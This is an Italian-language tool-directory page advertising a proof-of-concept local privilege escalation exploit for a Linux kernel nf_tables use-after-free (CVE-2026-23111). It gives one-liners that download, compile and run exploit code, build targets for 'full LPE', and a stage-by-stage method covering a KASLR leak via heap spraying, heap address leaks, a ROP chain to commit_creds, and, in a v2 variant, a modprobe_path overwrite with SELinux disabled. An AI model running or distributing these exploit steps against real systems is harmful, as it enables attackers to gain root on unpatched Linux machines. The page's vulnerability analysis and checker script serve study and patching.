Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-23111 — Kernel Linux nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC | Kitploit
Strumenti/GitHubGitHub/baba01hacker666/cve-2026-23111
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Kernel Linux nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

Vedi Repository
7282 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-23111 PoC

Linux Kernel nf_tables Use-After-Free (Escalatazione Locale dei Privilegi) poc di baba01hacker

Riepilogo della Vulnerabilità

  • CVE: CVE-2026-23111
  • Tipo: Use-After-Free (CWE-416)
  • CVSS: 7.8 (ALTO)
  • Componente: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • Causa Principale: Controllo della genmask invertito causa un leak del contatore di riferimento della catena durante l'abort della transazione

Versioni del Kernel Affette

Intervallo di VersioniRisolta In
6.19-rc1 a 6.19-rc86.19-rc9+
6.13 a 6.18.96.18.10
6.7 a 6.12.696.12.70
6.4.1 a 6.5.xEOL (nessuna fix stabile)
6.3.10 a 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 a 6.1.1626.1.163
5.15.121 a 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+Vari LTS

Dettagli della Vulnerabilità

CVE-2026-23111 è un use-after-free di nf_tables causato da un controllo inversion della maschera di generazione in nft_map_catchall_activate(). Durante il rollback di una transazione fallita, gli elementi catchall delle mappe di verdetto che erano stati disattivati da NFT_MSG_DELSET devono essere riattivati in modo che i riferimenti, come i riferimenti alle catene NFT_GOTO, vengano ripristinati. Il percorso di attivazione catchall ha invece saltato gli elementi inattivi e ha processato quelli attivi, lasciando gli elementi catchall disattivati non ripristinati.

La logica di attivazione corretta (non catchall) è:

if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* salta attivo, processa inattivo */

Il percorso catchall vulnerabile utilizzava la condizione opposta:

if (!nft_set_elem_active(ext, genmask))
    continue; /* salta inattivo, processa attivo */

Quando una mappa di verdetto pipapo cancellata viene ripristinata, questo impedisce l'esecuzione di nft_setelem_data_activate() per l'elemento catchall inattivo. Per i dati di verdetto NFT_JUMP/NFT_GOTO, il riferimento alla catena preso da nft_data_hold() non viene quindi ripristinato. Ripetendo la sequenza abort/toggle/cancellazione si può portare chain->use a zero mentre un'altra regola contiene ancora un riferimento di verdetto valido alla catena. Un successivo DELCHAIN può quindi liberare la catena mentre è ancora raggiungibile, creando il UAF.

Flusso di Attivazione

Crea tabella, catena base, catena vittima e mappa di verdetto pipapo con catchall NFT_GOTO -> vittima
        |
Batch 1: cancella il set pipapo, poi forza un errore di transazione
        |
Il percorso di abort chiama nft_map_catchall_activate(), ma il controllo invertito salta il catchall inattivo
        |
Il catchall rimane inattivo e il contatore di riferimento della catena vittima non viene ripristinato
        |
Batch 2: commetti una transazione benigna per alternare il cursore di generazione
        |
Batch 3: cancella con successo il set pipapo, decrementando nuovamente il riferimento della catena vittima
        |
Batch 4: cancella la catena vittima mentre il verdetto della catena base ancora la riferisce
        |
Use-after-free quando la valutazione del pacchetto o il dump delle regole segue il riferimento di verdetto dangling

La fix upstream è rimuovere la negazione in modo che nft_map_catchall_activate() corrisponda a nft_mapelem_activate(): gli elementi attivi vengono saltati, quelli inattivi vengono riattivati, e i riferimenti di verdetto/oggetto vengono ripristinati durante la gestione dell'abort.

Solo Test

python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

Esegui PoC One-Liner

wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 One-Liner di Fallback

Usa questo se il PoC full/v1 fallisce sul kernel target.

wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

Build Locale

Installa prima le dipendenze di build se il compilatore non trova gli header libmnl/libmnl.h o libnftnl:

scripts/install-build-deps.sh
# oppure
make deps
make          # Build exploit (solo PoC)
make v2       # Build exploit v2 (approccio FuzzingLabs — prova quando v1 fallisce)
make full     # Build exploit LPE completo
make v3       # Build v3 variante calibrata eval-path
make run-d    # Esegui PoC con output di debug
make run-v2-d # Esegui v2 con output di debug
make run-v3   # Mostra uso/aiuto v3
make run-full # Esegui LPE completo

Fasi dell'Exploit

Fase 1: Attivazione UAF ✅ FUNZIONANTE

Crea un set di mappe pipapo con un elemento catchall (goto catena vittima), quindi usa il bug della genmask invertita durante un abort di DELSET per corrompere chain->use. Dopo aver avanzato il contatore di generazione, DELCHAIN ha successo nonostante i riferimenti dangling, liberando la catena.

Fase 2: KASLR Leak ✅ FUNZIONANTE

Dopo il UAF, la memoria di chain->name viene liberata. Spargiamo strutture seq_operations (32 byte) aprendo /proc/self/stat per reclamare lo slot della slab cache liberato. Leggendo la regola di verdetto immediato della catena base tramite NFT_MSG_GETRULE si ottiene il dump del nome della catena reclamato, rivelando puntatori a funzioni del kernel. La validazione dei puntatori assicura che siano accettati solo indirizzi canonici del testo del kernel.

Fase 3: Heap Address Leak ✅ FUNZIONANTE

Riattiva il UAF con un nome di catena più lungo (140 byte → kmalloc-cg-192), poi sparge oggetti nft_rule per reclamare la memoria. I puntatori list_head trapelati rivelano indirizzi dell'heap nella regione della mappa diretta.

Fase 4: Hijack del Flusso di Controllo e ROP 🔧 Framework Completo

  • Due regole da 192 byte con dati controllati sparse per nft_expr_ops e nft_rule_blob fittizi
  • Indirizzi heap dalla Fase 3 usati per collegare puntatori blob fittizio → expr_ops fittizio
  • Spray di userdata della tabella (128 byte) per sovrascrivere blob_gen_0 della catena liberata
  • Catena ROP: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • Gadget ROP scansionati automaticamente da /proc/kcore
  • Pacchetto trigger inviato attraverso la catena base per invocare expr->ops->eval dirottato

Exploit v2 (Approccio FuzzingLabs)

L'exploit v2 (exploit_v2.c) utilizza le tecniche descritte nel writeup di FuzzingLabs e può essere usato quando il PoC v1 fallisce. Differenze chiave:

Componentev1 (exploit.c)v2 (exploit_v2.c)
Attivazione UAFSingolo set + regola goto immediataDue set (stile FuzzingLabs) + regola lookup
Lettura KASLRNFT_MSG_GETRULE (dump regole)NFT_MSG_GETELEM (dump elementi) + fallback GETRULE
Leak heapSpray nft_rule + leak list_headCatena di lettura arbitraria init_ipc_ns
Host ROPnft_rules + userdata tabellamsg_msg-2k (messaggio da 2048 byte)
Attivazione hijackValutazione pacchetto su goto immediataValutazione pacchetto su catchall del set superstite
Escalation privilegicommit_creds + switch_task_namespacesSovrascrittura modprobe_path + disabilitazione SELinux
Percorso di ritornoswapgs; iretqmsleep() (rimane nel kernel)

Catena di Leak v2 (lettura arbitraria init_ipc_ns)

init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (puntatore taggato)
msg_queue + 0xc0     →  q_messages.next  →  indirizzo heap msg_msg
Scarica lo strumento